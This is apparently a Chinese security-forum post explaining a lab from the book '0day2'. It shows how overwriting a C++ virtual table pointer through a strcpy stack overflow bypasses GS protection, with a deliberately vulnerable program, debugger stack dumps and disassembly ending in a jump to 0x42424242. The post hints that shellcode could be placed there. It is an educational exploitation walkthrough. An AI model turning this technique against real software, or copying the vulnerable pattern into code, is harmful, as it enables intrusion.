在《0day2》P274页里面用覆盖C++虚函数突破GS的实验我总是弄不明白,然后在网上也发现有好多帖子问这页的问题。。
之前找了个英文版的对照实验,但是虽然看得明英文说什么,但总是别扭,然后在看雪见到一个翻译版本,下载下来看了一遍再动手实验之后 大概思路都明白了!
本来我想把上面的破话写完就算了,不过似乎有很多童鞋都不明白我就写一下过程吧。
有栈溢出漏洞的程序例子:
#include<windows.h>
class Foo
{
public:
void __declspec(noinline) gs3(char* src)
{
char buf[8];
strcpy(buf,src);
bar();
}
virtual void __declspec(noinline) bar()
{
}
};
int main()
{
Foo foo;
__asm int 3
foo.gs3(
"AAAA"
"BBBB"
"CCCC"
"DDDD"
"EEEE"
"FFFF"
);
return 0;}
分析:
在这个程序中定义了 一个类Foo,在里面的一个成员函数里产生了栈溢出漏洞,随后调用了一个虚函数。
因为调用虚函数,就涉及到从虚表里面找虚函数,所以给我们机会通过覆盖这个虚表指针来让程序错误地跳转到我们指定的地址处。
----------------------------------------------------------------------------------------------------------------------------------------------------------------
经验:
by the way,最近我做实验老是不顺,有些莫名其妙的问题出现。然后我在程序中加入 int 3,让OD在程序运行起来再介入调试,这样就没问题了,原因我也说不清,就当是经验吧
现在来运行程序,遇到int 3,程序被OD attach了(如图1)
然后把int 3 nop掉运行到下面的那个call(就是gs3 函数啊!),单步进去。
(如图2)
从图中堆栈我们可以看到这三个东东
0012FF70 004018CA 返回到 GS_Virtu.004018CA 来自 GS_Virtu.00401000 这个是函数返回地址!!
0012FF74 004020FC ASCII "AAAABBBBCCCCDDDDEEEEFFFF" 这个是我们传进去的指针参数啊!!!
0012FF78 0040211C GS_Virtu.0040211C 紧跟的这个就是虚表指针了!!(别问为什么,人家习惯放哪就放哪 我管不着,一般就是这个地方拉!)
现在一直F8单步,走到strcpy执行之前:(如图3)
这个时候ecx=0012FF60就是说buff的地址就是0012FF60 如果从这个地方开始覆盖的话,下面的返回地址,stack cookie,和虚表指针就随便让我们蹂躏了。执行strcpy之后0012FF78处的数据0040211C变成了00402100,这是因为我们的字符串“AAAABBBBCCCCDDDDEEEEFFFF”后面有一个NULL,现在0012FF78就指向我们字符串参数处第一个字母B的位置了,如果我们在这里放shellcode的起始地址的话。。。你懂的。。
以免你不懂我还是说说吧。
继续看OD后面的代码:
00401023 |. 8B55 F0 mov edx, dword ptr [ebp-10]
00401026 |. 8B02 mov eax, dword ptr [edx]
00401028 |. 8B4D F0 mov ecx, dword ptr [ebp-10]
0040102B |. 8B10 mov edx, dword ptr [eax]
0040102D |. FFD2 call edx
这就是从虚表里面找虚函数的代码,因为虚表已经被我们改掉了一点,指向了字符串中字幕B的起始位置。最后edx获取的就是4个B的ASCII:42424242.然后试图执行地址42424242处的代码肯定不行啦,OD就会弹出一个错误框框。但是放我们的邪恶代码的话就做什么都行拉~~
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!